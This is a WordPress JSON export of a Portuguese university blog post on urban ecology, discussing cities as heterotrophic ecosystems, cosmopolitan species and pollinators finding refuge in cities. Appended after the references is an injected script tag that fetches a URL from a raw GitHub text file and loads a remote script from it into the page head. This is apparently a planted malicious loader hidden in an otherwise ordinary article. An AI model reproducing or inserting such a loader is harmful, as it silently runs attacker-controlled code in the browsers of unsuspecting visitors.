{"id":769,"date":"2020-06-24T15:28:46","date_gmt":"2020-06-24T18:28:46","guid":{"rendered":"http:\/\/www2.uesb.br\/galapagos\/?p=769"},"modified":"2024-10-07T15:33:06","modified_gmt":"2024-10-07T18:33:06","slug":"cidades-sao-ecossistemas","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/galapagos\/2020\/06\/24\/cidades-sao-ecossistemas\/","title":{"rendered":"Cidades s\u00e3o ecossistemas?"},"content":{"rendered":"<p style=\"text-align: justify;\">Nas \u00faltimas d\u00e9cadas estudos t\u00eam apontado as consequ\u00eancias do crescimento populacional humano para a biodiversidade, principalmente em rela\u00e7\u00e3o ao avan\u00e7o da urbaniza\u00e7\u00e3o. Neste momento, existem quase 8 bilh\u00f5es de pessoas na Terra, e at\u00e9 2030, 2 bilh\u00f5es estar\u00e3o vivendo em \u00e1reas urbanas.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-771 alignleft\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/e94d62a4321e07a63ddf791004964bef-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/e94d62a4321e07a63ddf791004964bef-300x225.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/e94d62a4321e07a63ddf791004964bef-1024x767.jpg 1024w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/e94d62a4321e07a63ddf791004964bef-768x576.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/e94d62a4321e07a63ddf791004964bef-1536x1151.jpg 1536w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/e94d62a4321e07a63ddf791004964bef.jpg 1600w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Quanto maior o n\u00famero populacional de uma cidade, maior \u00e9 o seu per\u00edmetro urbano. A cidade de S\u00e3o Paulo, por exemplo, tem mais de 11 milh\u00f5es de habitantes vivendo na maior zona urbana do Brasil. Os n\u00fameros nos fazem imaginar o tamanho do impacto que grandes cidades, como SP, T\u00f3quio ou Nova Iorque, podem causar \u00e0 biodiversidade. Entretanto, existem esp\u00e9cies que acabam se dando bem nas \u00e1reas urbanas. Ratos, baratas, pombos etc. e in\u00fameras esp\u00e9cies de plantas s\u00e3o conhecidas como esp\u00e9cies cosmopolitas. Muitas dessas esp\u00e9cies nem mesmo s\u00e3o nativas da regi\u00e3o, o que pode ser um problema para as esp\u00e9cies que s\u00e3o. Normalmente as esp\u00e9cies cosmopolitas s\u00e3o generalistas e conseguem aproveitar os recursos oferecidos em ambientes urbanos de forma mais eficiente do que as esp\u00e9cies nativas.<\/p>\n<p style=\"text-align: justify;\">Apesar de considerarmos as cidades como um ambiente \u00e0 parte do natural, muitos pesquisadores veem as \u00e1reas urbanas tamb\u00e9m como parte do todo. Suas caracter\u00edsticas particulares, a diversidade biol\u00f3gica e as intera\u00e7\u00f5es das esp\u00e9cies presentes fazem das cidades um verdadeiro ecossistema. Diferente dos ecossistemas naturais, as cidades s\u00e3o consideradas ecossistemas heterotr\u00f3ficos.<\/p>\n<p style=\"text-align: justify;\">Para entendermos essa ideia, vamos pensar em um ecossistema natural como um organismo autotr\u00f3fico (aquele que produz seu pr\u00f3prio alimento). Os ecossistemas naturais s\u00e3o autossustent\u00e1veis, pois produzem, utilizam e reutilizam seus nutrientes, fontes de energia e processos de manuten\u00e7\u00e3o. As cidades, por sua vez, n\u00e3o s\u00e3o capazes de produzir o que \u00e9 necess\u00e1rio para que elas funcionem (mat\u00e9ria prima) e muito menos reutilizar tudo o que \u00e9 resultado do consumo (o lixo e os res\u00edduos), portanto n\u00e3o s\u00e3o autossustent\u00e1veis.<\/p>\n<p style=\"text-align: justify;\">Para estudar as cidades como ecossistemas, surgiu a Ecologia Urbana e suas duas abordagens: a biol\u00f3gica e a antropoc\u00eantrica. A abordagem biol\u00f3gica (tamb\u00e9m chamada de ecologia NA cidade) diz respeito ao estudo dos processos biol\u00f3gicos que ocorrem dentro das cidades, como, por exemplo, a intera\u00e7\u00e3o entre as esp\u00e9cies e o efeito da urbaniza\u00e7\u00e3o na biodiversidade em ambientes urbanos. A abordagem antropoc\u00eantrica (tamb\u00e9m chamada de ecologia DA cidade) tem como principal objetivo entender a rela\u00e7\u00e3o humano x ambiente afim de melhorar as condi\u00e7\u00f5es de vida da esp\u00e9cie humana nas cidades.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-772 alignright\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/41ccd2bc00c90464819974a53bcfab7d-300x225.png\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/41ccd2bc00c90464819974a53bcfab7d-300x225.png 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/41ccd2bc00c90464819974a53bcfab7d-1024x768.png 1024w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/41ccd2bc00c90464819974a53bcfab7d-768x576.png 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/41ccd2bc00c90464819974a53bcfab7d-1536x1152.png 1536w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/41ccd2bc00c90464819974a53bcfab7d.png 1600w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Para muitas pessoas parece absurdo considerar as cidades como ecossistemas, ou como um ambiente abundante em recursos para a biodiversidade. Entretanto, pesquisadores t\u00eam fomentado discuss\u00f5es nas \u00faltimas d\u00e9cadas sobre a utilidade das \u00e1reas urbanas como uma alternativa para conserva\u00e7\u00e3o de algumas esp\u00e9cies. Com o habitat natural de muitas delas sendo degradado, as cidades passaram a ser uma fonte alternativa de recursos. Um exemplo claro disso s\u00e3o os polinizadores. Com a perda de habitat natural, muitas esp\u00e9cies de abelhas, borboletas, morcegos, dentre outros, t\u00eam \u201cinvadido\u201d as cidades em busca de alimento e local para construir seus ninhos.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-773 alignleft\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/fall-city-dribbble-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/fall-city-dribbble-300x225.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/fall-city-dribbble-768x576.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/fall-city-dribbble.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Se observarmos bem, as cidades s\u00e3o ricas em diversidade de plantas ornamentais com flores, principal fonte de alimento dos polinizadores. \u00c9 um verdadeiro banquete! Al\u00e9m disso, muitas esp\u00e9cies podem encontrar locais para nidificarem nas cidades. Morcegos passam a viver nos telhados, forros e s\u00f3t\u00e3os das casas, e abelhas constroem seus ninhos em espa\u00e7os vazios nas paredes, \u00e1rvores ornamentais e outras aberturas. Dessa forma, em todo mundo tem aparecido iniciativas em prol da conserva\u00e7\u00e3o dos polinizadores nas cidades atrav\u00e9s de pr\u00e1ticas de incentivo \u00e0 jardinagem e instala\u00e7\u00e3o de tetos verdes.<\/p>\n<p style=\"text-align: justify;\">Contudo, n\u00e3o podemos acreditar nas cidades como salvadoras da biodiversidade, e tira-las do posto principal de amea\u00e7a \u00e0 diversidade biol\u00f3gica em todo o mundo. Entender as cidades como ecossistemas \u00e9 apenas uma alternativa para <strong>contribuir<\/strong> com a conserva\u00e7\u00e3o da biodiversidade que buscam ref\u00fagio e recurso nessas \u00e1reas. Conserva\u00e7\u00e3o envolve muito mais que \u00e1reas verdes urbanas e cultivo de jardins em casa. Conserva\u00e7\u00e3o envolve, acima de tudo, consci\u00eancia ambiental das pequenas \u00e0s grandes a\u00e7\u00f5es e mudan\u00e7as.<\/p>\n<p style=\"text-align: justify;\">Dica: <strong><a href=\"https:\/\/www.worldometers.info\/pt\/\">Clique aqui<\/a> <\/strong>para acompanhar, em tempo real, os estimadores de nascimentos e aumento da popula\u00e7\u00e3o mundial, al\u00e9m de outros dados.<\/p>\n<hr \/>\n<p>Texto escrito por <strong>Matheus Galv\u00e3o Brito<\/strong> \u2014 publicado em junho de 2020.<\/p>\n<hr \/>\n<p>Imagem Destaque: <a href=\"https:\/\/dribbble.com\/shots\/10066437-United-Nations-Sustainable-City-Illustration\">United Nations Sustainable City Illustration<\/a> por DKNG<\/p>\n<p>Imagem 2: <a href=\"https:\/\/dribbble.com\/shots\/10867376-Deer\">Deer<\/a> por Dmitrij<\/p>\n<p>Imagem 3: <a href=\"https:\/\/dribbble.com\/shots\/3891416-Fall-in-the-City\">Fall in the City<\/a> por Matt Carlson<\/p>\n<hr \/>\n<p style=\"text-align: justify;\">OSMOND, Paul; PELLERI, Natalie. Urban ecology as an interdisciplinary area. 2017.<\/p>\n<p style=\"text-align: justify;\">ENDLICHER, Wilfried et al. Urban ecology\u2013Definitions and concepts. In:\u00a0Shrinking Cities: Effects on Urban Ecology and Challenges for Urban Development. Peter Lang Publishing Group in association with GSE Research, 2007. p. 1-16.<\/p>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nas \u00faltimas d\u00e9cadas estudos t\u00eam apontado as consequ\u00eancias do crescimento populacional humano para a biodiversidade, principalmente em rela\u00e7\u00e3o ao avan\u00e7o da urbaniza\u00e7\u00e3o. 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